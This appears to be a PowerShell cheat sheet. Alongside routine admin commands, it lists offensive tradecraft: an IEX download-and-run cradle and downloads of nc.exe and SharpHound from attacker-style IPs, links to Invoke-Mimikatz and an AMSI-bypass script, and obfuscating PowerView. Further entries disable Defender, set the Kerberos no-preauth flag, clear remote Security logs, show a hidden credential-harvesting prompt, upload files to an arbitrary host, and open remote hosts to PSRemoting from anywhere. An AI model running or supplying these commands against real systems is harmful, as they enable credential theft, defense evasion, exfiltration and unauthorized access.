PowerShell quick reference for help/discovery, services/processes/WMI, PS version, drives, DNS lookups, downloading files, credentials prompts, basic network tests, event log queries, scheduled execution patterns, and PSRemoting basics. Cleaned syntax.
-
Stop-TranscriptStops a PowerShell transcript session (if
Start-Transcriptwas enabled). -
Get-Content filePrints file contents (like
cat). Use-Tail 50 -Waitto follow logs. -
Get-Help command -Examples
Shows usage examples for a cmdlet.
-
Get-Command *string*
Finds commands matching a pattern (cmdlets/functions/aliases).
(Yourget-command 'string'works too; wildcard form is more useful.) -
Get-ServiceLists services.
-
Get-WmiObject -Class Win32_Service
Lists services via WMI (includes extra fields like PathName, StartName).
-
$PSVersionTableShows PowerShell version and environment details.
-
powershell.exe -Version 2.0
Starts PowerShell using version 2 (only works if v2 engine is installed/enabled).
-
Get-Service | Measure-Object
Counts objects returned (service count).
-
Get-PSDriveShows PS drives (filesystem, registry hives, env:, cert:, etc.).
-
Get-Process | Select-Object -ExpandProperty Name
Lists process names only.
-
Get-Help -Parameter Credential
Shows help entries mentioning the
-Credentialparameter. -
Get-WmiObject -List | Where-Object { $_.Name -match 'network' }
Finds WMI classes related to “network”.
(Your-'network'corrected.)
-
Resolves an IP/hostname and returns host entry information.
[System.Net.Dns]::GetHostEntry("ip_or_host")
(Your[Net.DNS]::GethostEntry(...)corrected to the full type name and proper syntax.)
-
powershell.exe -Command "Invoke-WebRequest 'http://10.10.10.10/nc.exe' -OutFile 'C:\Temp\nc.exe'"
Downloads a file to disk using
Invoke-WebRequest. -
powershell.exe -Command "IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.10.10:8000/p')"
Downloads a script as text and executes it in memory (
IEX). -
URLs you listed (PS1 sources)
-
https://gist.githubusercontent.com/zhilich/b8480f1d22f9b15d4fdde07ddc6fa4ed/raw/8078a51bbfa18... -
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
These are remote script locations that can be fetched with
Invoke-WebRequest/WebClient. -
-
. .\script.ps1Dot-sources a script (loads functions into the current session).
-
& .\script.ps1Executes a script in a child scope.
-
Import-Module .\Invoke-Obfuscation\Invoke-Obfuscation.psm1
Loads the module.
-
Out-ObfuscatedTokenCommand -Path .\powerview.ps1 | Out-File out.ps1
Generates an obfuscated output script and writes it to
out.ps1. -
https://raw.githubusercontent.com/kmkz/Pentesting/master/AMSI-Bypass.ps1Remote script link you listed.
-
. .\AMSI-Bypass.ps1 Invoke-AmsiBypass
Dot-source then run the function.
-
Toggles Defender realtime monitoring setting (requires appropriate privileges and Defender presence).
powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
-
$users = New-Object DirectoryServices.DirectorySearcher $users.Filter = "(&(objectclass=user))" $users.SearchRoot = "" $users.FindAll()
Searches directory for user objects (SearchRoot must be set properly for real results).
-
$computers = New-Object DirectoryServices.DirectorySearcher $computers.Filter = "(&(objectclass=computer))" $computers.SearchRoot = "" $computers.FindAll()
Searches directory for computer objects.
-
Sets the “Does not require Kerberos preauthentication” flag for an AD account (requires RSAT/ActiveDirectory module + permissions).
Set-ADAccountControl -Identity jorden -DoesNotRequirePreAuth 1
-
Get-EventLog -List
Lists classic event logs.
-
Clear-EventLog -LogName Application, Security -ComputerName SVR01
Clears Application and Security logs on remote computer
SVR01(requires permissions).
-
Exports OS information to CSV.
Get-WmiObject -Class Win32_OperatingSystem | Select-Object * | Export-Csv C:\os.csv -NoTypeInformation
(Your pipe/select/export corrected and output file made.csv.)
-
Shows only running services.
Get-Service | Where-Object { $_.Status -eq "Running" }
-
Maps a persistent drive
New-PSDrive -Persist -PSProvider FileSystem -Root \\1.1.1.1\tools -Name i
i:to the SMB share.
-
Finds
Get-ChildItem -Path C:\ -Force -Recurse -Filter *.log -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -gt "2012-08-20" }
.logfiles modified after the given date.
-
Downloads a URL directly to a local path.
(New-Object System.Net.WebClient).DownloadFile("url","dest")
-
Attempts to connect to each port and reports open/closed.
$ports = @(80,443,445) $ip = "x.x.x.x" foreach ($port in $ports) { try { $socket = New-Object System.Net.Sockets.TcpClient($ip,$port) "$ip:$port - Open" $socket.Close() } catch { "$ip:$port - Closed" } }
-
Sends a ping with a 500 ms timeout.
$ping = New-Object System.Net.NetworkInformation.Ping $ping.Send("ip",500)
(Your5JOcorrected to500and type name corrected.)
-
Starts PowerShell hidden and prompts for credentials via UI.
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass $Host.UI.PromptForCredential("title","message","user","domain")
-
Loops forever; during the matching date/time window it runs
powershell.exe -Command "do { if ((Get-Date -Format yyyyMMdd-HHmm) -match '201308(0[8-9]|1[0-1])-(0[8-9]|1[0-7])[0-5][0-9]') { Start-Process -WindowStyle Hidden 'C:\Temp\my.exe'; Start-Sleep -Seconds 14400 } } while ($true)"
my.exethen sleeps 4 hours.
-
Creates PSCredential and launches a new PowerShell process under that identity.
$pw = ConvertTo-SecureString -String "PASSWORD" -AsPlainText -Force $pp = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $pw) Start-Process powershell -Credential $pp -ArgumentList '-NoProfile -Command &{Start-Process file.exe -Verb RunAs}'
-
Downloads
powershell iwr -UseBasicParsing http://192.168.2.x/SharpHound.exe -OutFile .\SharpHound.exe
SharpHound.exeto current directory.
-
Sends an email with an attachment through the specified SMTP server.
powershell.exe Send-MailMessage -To "email" -From "email" -Subject "Subject" -Attachments "attachment file path" -Body "Body" -SmtpServer TargetEmailServerIP
-
net time \\ip
Checks remote time (often used when scheduling).
-
at \\ip time "PowerShell -Command ""Enable-PSRemoting -Force"""
Schedules enabling PSRemoting on the remote host.
-
at \\ip time+1 "PowerShell -Command ""Set-Item wsman:\localhost\client\trustedhosts '*'"""
Schedules setting TrustedHosts.
-
at \\ip time+2 "PowerShell -Command ""Restart-Service WinRM"""
Schedules restarting WinRM.
-
Enter-PSSession -ComputerName ip -Credential username
Enters a remote interactive PowerShell session.
-
Queries DNS records from a domain controller’s Microsoft DNS provider and prints textual record data.
Get-WmiObject -ComputerName DC -Namespace root\microsoftDNS -Class MicrosoftDNS_ResourceRecord -Filter "DomainName='DOMAIN'" | Select-Object TextRepresentation
-
Downloads a file from HTTPS while bypassing certificate validation.
powershell.exe -NoProfile -NonInteractive -Command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $source='https://YOUR_SPECIFIED_IP/file.zip'; $destination='C:\master.zip'; $http = New-Object System.Net.WebClient; $http.DownloadFile($source,$destination)"
-
Uploads a local file to a web server endpoint via an HTTP POST request.
powershell.exe -NoProfile -NonInteractive -Command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $server='http://YOUR_SPECIFIED_IP/folder'; $filepath='C:\master.zip'; $http = New-Object System.Net.WebClient; $http.UploadFile($server,$filepath)"
-
Get-ExecutionPolicy -List
Shows execution policy scopes.
-
Set-ExecutionPolicy -Scope Process Bypass -Force
Sets bypass only for the current process.
-
Get-ChildItem Env:Lists environment variables.
-
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\RunLists common persistence/run keys.